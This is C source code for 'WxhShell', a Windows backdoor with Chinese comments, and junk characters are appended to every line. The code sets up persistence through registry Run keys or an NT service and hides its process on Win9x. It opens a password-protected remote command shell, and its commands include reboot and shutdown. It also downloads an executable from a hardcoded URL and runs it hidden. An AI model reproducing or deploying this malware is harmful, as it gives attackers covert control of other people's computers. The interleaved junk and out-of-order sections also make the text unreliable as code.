ULONG InheritedFromUniqueProcessId; y\]:&)?&C^
} PROCESS_BASIC_INFORMATION; ,iV|^]X3$/
6cDe_v|,
PROCNTQSIP NtQueryInformationProcess; O1Vs!
s"s^rC
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qq
G24**9v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7vZznN8e
r$d,ChzQn?
HANDLE hProcess; zyTeF~_
PROCESS_BASIC_INFORMATION pbi; 4@-
'p
0@k)Cz[0;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :@mb.'%*!
if(NULL == hInst ) return 0; cyL"?vR*<
v,^2'C$o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gm'8,ZL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #!qa#.Yi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xgou7x<
3w6}%=)$8
if (!NtQueryInformationProcess) return 0;
F$X"?fj
{FNmYneh?6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4-1=1)c*
if(!hProcess) return 0; +G)L8{FY(
hX;JMQ915
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K?`Fpg(
Em?bV(
CloseHandle(hProcess); `saDeur#X
>|IUjv2L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >NDI<9<'0}
if(hProcess==NULL) return 0; Gf*|f"O
hj[&.w
HMODULE hMod; u 6A!Sw
char procName[255]; Xy0*1$IS]
unsigned long cbNeeded; SHWD@WLE4
+es|0;Z4yP
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9}G.F r
O!xul$9
CloseHandle(hProcess); N;gI %6
}&!fT\4
if(strstr(procName,"services")) return 1; // 以服务启动 -k(bM:
7XrXx:*a5
return 0; // 注册表启动 \\}tD@V"
} eb10=Lmj
e*K1";
// 主模块 l1 Nr5PT
int StartWxhshell(LPSTR lpCmdLine) 2Tt^^Lb
{ 2z#gn9Wb
SOCKET wsl; o y{
{d
BOOL val=TRUE; (@X].oM^y
int port=0; TuR.'kE@
struct sockaddr_in door; 4b5'nu
JlaT
-j
if(wscfg.ws_autoins) Install(); H.-VfROi2
cqXP} 5
port=atoi(lpCmdLine); &RF*pU>
oQ
YmywY
if(port<=0) port=wscfg.ws_port; `0)'&HbLY
|%\>+/j$
WSADATA data; /fh[_!qN
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'wA4}f
ey!QAEg"X1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I.'(n8*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); df9jT?l
door.sin_family = AF_INET; ~&{LMf
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `YL)[t? V
door.sin_port = htons(port); !I)wI~XF)5
#ATV#/hW
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {zha jY7
closesocket(wsl); r" 4u)H>
return 1; +t[i68,%
} <gfkbDP2
uz
U2)n3y
if(listen(wsl,2) == INVALID_SOCKET) { jc0Trs{Jf
closesocket(wsl); cI#! Y
return 1; %0&c0vT
} KdN+$fe*g
Wxhshell(wsl); v2K6y|6,
WSACleanup(); k
z{_H`5.
0Tp,b (;n
return 0; 3+~m 9:9
L>@:Xo@
} Fx!NRY_
2,T^L(]
// 以NT服务方式启动 @3g$H[}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9lU"m_
QT4
{ &GKtD)
DWORD status = 0; tMbracm
DWORD specificError = 0xfffffff; K."%PdC
iup "P
serviceStatus.dwServiceType = SERVICE_WIN32; CQ;.}=j
,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sW#OA\i&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ( :h#H[F
serviceStatus.dwWin32ExitCode = 0; mto=_|gn
serviceStatus.dwServiceSpecificExitCode = 0; {VK
serviceStatus.dwCheckPoint = 0; {>r56\!F
serviceStatus.dwWaitHint = 0; sR;^7(f!m
Lkf}+aY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ -6IB>
if (hServiceStatusHandle==0) return; 5yl[#>qt
J
n~t>?
status = GetLastError(); "~+?xke5z
if (status!=NO_ERROR) )Up'W
{ |K(jXZ)
serviceStatus.dwCurrentState = SERVICE_STOPPED; fg?4/]*T6
serviceStatus.dwCheckPoint = 0; <13').F
serviceStatus.dwWaitHint = 0; CT2L }5L&
serviceStatus.dwWin32ExitCode = status; a Byetc88/
serviceStatus.dwServiceSpecificExitCode = specificError; 9fhgCu]$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8
o^ h\9I
return; Fi3k
} P&kjtl68Y
\A%s" O/
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'O:QS)
serviceStatus.dwCheckPoint = 0; W`k||U9
serviceStatus.dwWaitHint = 0; 9$Dsm@tX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z23*`yR
} VC T~"T2R
n,l{1 q
// 处理NT服务事件,比如:启动、停止 (^lw<$N
VOID WINAPI NTServiceHandler(DWORD fdwControl) j84g6; 4Dv
{ z
Go*N,'
switch(fdwControl) =}pPr]Cc
{ N"k
IQe*}1
case SERVICE_CONTROL_STOP: ~tM+!
serviceStatus.dwWin32ExitCode = 0; UB8TrYra
serviceStatus.dwCurrentState = SERVICE_STOPPED; hW Va4
serviceStatus.dwCheckPoint = 0; ;}W-9=81
serviceStatus.dwWaitHint = 0; a9%^Jvm"
{ HAca'!p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UB9n7L(@c
} _$vAitUe4S
return; B&},W* p
case SERVICE_CONTROL_PAUSE: jt6q8
serviceStatus.dwCurrentState = SERVICE_PAUSED; KEfx2{k b
break; rEfo)jod
case SERVICE_CONTROL_CONTINUE: 77?D
~N[
serviceStatus.dwCurrentState = SERVICE_RUNNING; aMq|xHZ
break; /9wmc2
case SERVICE_CONTROL_INTERROGATE: 0Z,a3)jcc
break; 7Z7e}|
\W
}; vw5f|Q92
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l =`?Im
} t gpg
%HWebZ-yY
// 标准应用程序主函数 V'Z Z4og
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uW{;@ 7N
{ mSFh*FG
9L+g;Js$4
// 获取操作系统版本 sgxD5xj}4
OsIsNt=GetOsVer(); [+8in\T i
GetModuleFileName(NULL,ExeFile,MAX_PATH); r!C#PiT}I
YYs/r
// 从命令行安装 HQ0fY
if(strpbrk(lpCmdLine,"iI")) Install(); 2Y-NxW^]
d) i64"
// 下载执行文件 y}
W-OLE
if(wscfg.ws_downexe) { jwQ(E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sc)}r_|g
WinExec(wscfg.ws_filenam,SW_HIDE); GB&^<@
} WUfPLY_c(
WJA0 `<~
if(!OsIsNt) { 1[U`,(C1
// 如果时win9x,隐藏进程并且设置为注册表启动 .W*" C
HideProc(); FbU98n+z
StartWxhshell(lpCmdLine); e{RhMjX<D
} lHI;fR
else '2=$pw
if(StartFromService()) B K/_hNz
// 以服务方式启动 f8JWg9m
StartServiceCtrlDispatcher(DispatchTable); ):5M +
else </B<=tc
// 普通方式启动 duT'$}2@>
StartWxhshell(lpCmdLine); 0<4Nf]i
kWW$*d$
return 0; XcH_Y
} + _"AF|
]ur_G`B
QHmF,P
}\Ri:&?
=========================================== HCIS4}lQ
aFf(m-
K@R *
V
G.l
~!;
xk\n F0z
H7Y :l0b
" 0~( f<:
Z6\H4,k&
#include <stdio.h> >"?jW@|g
#include <string.h> >\s8S}p
#include <windows.h> QRFBMq}'
#include <winsock2.h> .d?2Kc)SV\
#include <winsvc.h> @en*JxIM
#include <urlmon.h> tH^]`6"QUa
i[7<l&K]
#pragma comment (lib, "Ws2_32.lib") 2M$^|j:[
#pragma comment (lib, "urlmon.lib") n=1_- )
8{)j"rghah
#define MAX_USER 100 // 最大客户端连接数 l1#F1q`^t
#define BUF_SOCK 200 // sock buffer _i@4R<
#define KEY_BUFF 255 // 输入 buffer X :wfmb
~[ZRE @
#define REBOOT 0 // 重启 3<A$lG
#define SHUTDOWN 1 // 关机
qC4Q+"'
*w,C5 f
#define DEF_PORT 5000 // 监听端口 =4_Er{AT
HB:VpNFn
#define REG_LEN 16 // 注册表键长度 A(v5VvgZE
#define SVC_LEN 80 // NT服务名长度 {1Hs5bg@
!L?diR
// 从dll定义API C(!A% >
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eJ3;Sd''
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Et%s8{
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a]4h5kJ';
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EgB$y"fs
<l!{j? Kx
// wxhshell配置信息 XN %tcaY
struct WSCFG { 0T7c =5z4W
int ws_port; // 监听端口 {$P')>/
char ws_passstr[REG_LEN]; // 口令 yO*HJpc
int ws_autoins; // 安装标记, 1=yes 0=no #sHt3z)6I
char ws_regname[REG_LEN]; // 注册表键名 $Si|;j$?
char ws_svcname[REG_LEN]; // 服务名 ==]BrhZK
char ws_svcdisp[SVC_LEN]; // 服务显示名 e?yrx6
char ws_svcdesc[SVC_LEN]; // 服务描述信息 LE]mguvs
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sece#K2J|
int ws_downexe; // 下载执行标记, 1=yes 0=no HY>zgf,0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4uy:sCmu
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9ymx;
W\1V`\gF
}; 2uT"LW/(H
0/TP`3$X#"
// default Wxhshell configuration D4IP$pAD
struct WSCFG wscfg={DEF_PORT, oUNuM%g9Dy
"xuhuanlingzhe", Dhze2q)o
1, b2Oj 1dP1
"Wxhshell", Zp qb0ro
"Wxhshell", S17 c#6vT
"WxhShell Service", ^_5t5>
"Wrsky Windows CmdShell Service", PW QRy
"Please Input Your Password: ", MiN|u
1, C.N#y`g
"http://www.wrsky.com/wxhshell.exe", LCMZw6p
"Wxhshell.exe" @|6#]&v`
}; $az9Fmta
+"GBuNh
// 消息定义模块 bx._,G
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '4e,
e|r
char *msg_ws_prompt="\n\r? for help\n\r#>"; U-:"Wx%G
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wY xk[)&Y
char *msg_ws_ext="\n\rExit."; *&O4b3R
char *msg_ws_end="\n\rQuit."; <sw fYT!N
char *msg_ws_boot="\n\rReboot..."; h\lyt(.s
char *msg_ws_poff="\n\rShutdown..."; w0&|8y
char *msg_ws_down="\n\rSave to "; Y{D?&x%yq
=x3T+)qCNX
char *msg_ws_err="\n\rErr!"; %}[/lIxaE
char *msg_ws_ok="\n\rOK!"; # ~(lY}
%@MO5#)NI
char ExeFile[MAX_PATH]; Lu5lpeSQ
int nUser = 0; /H~]5JZ3-E
HANDLE handles[MAX_USER]; }F4%5go
int OsIsNt; ;|r<mT/,
=HHtLW.|,
SERVICE_STATUS serviceStatus; hEMS
SERVICE_STATUS_HANDLE hServiceStatusHandle; Ev]oPCeA
:3A^5}iz
// 函数声明 AOv>O52F/Q
int Install(void); moCr4*jDX,
int Uninstall(void); 6(8zt"E
int DownloadFile(char *sURL, SOCKET wsh); ZO8r8
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int Boot(int flag); 'BX
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void HideProc(void); iT=h}>
int GetOsVer(void); B+4WnR1%T
int Wxhshell(SOCKET wsl); )~be<G( a
void TalkWithClient(void *cs); $Y?[[>u
int CmdShell(SOCKET sock); -58Sb"f
int StartFromService(void); 1qm
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int StartWxhshell(LPSTR lpCmdLine); {xu~Dx
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #ja6nt8GC
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J*D3=5&
l&{+3 aC:
// 数据结构和表定义 @B9O*x+n:
SERVICE_TABLE_ENTRY DispatchTable[] = Pj^O8
{ ->rudRQ
{wscfg.ws_svcname, NTServiceMain}, [oG
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{NULL, NULL} "?S>}G\
}; Rc(E';uc
7;@o]9 W
// 自我安装 w~ O)DhC
int Install(void) *hlinQKs
{ [13NhF3.P
char svExeFile[MAX_PATH]; D:0?u_[W
HKEY key; zb. ^p
X
strcpy(svExeFile,ExeFile); 1
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%@^9(xTE
// 如果是win9x系统,修改注册表设为自启动 Pf#DBW*
if(!OsIsNt) { >A>_UT_"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DbrK,'b%
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I/_,24[
RegCloseKey(key); F0KNkL>&g
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(V<pz2\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @r]1;KG
RegCloseKey(key); y\XWg`X
y
return 0; 48LzI@H&
} u85?f
} 9t+:L(*pK
} 6yK"g7
else { ~F13}is
jygKw+C
// 如果是NT以上系统,安装为系统服务 !~`aEF3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); paZcTC
if (schSCManager!=0) `P jS
{ T854}RX[{
SC_HANDLE schService = CreateService g?{7DI`
( FF~VV<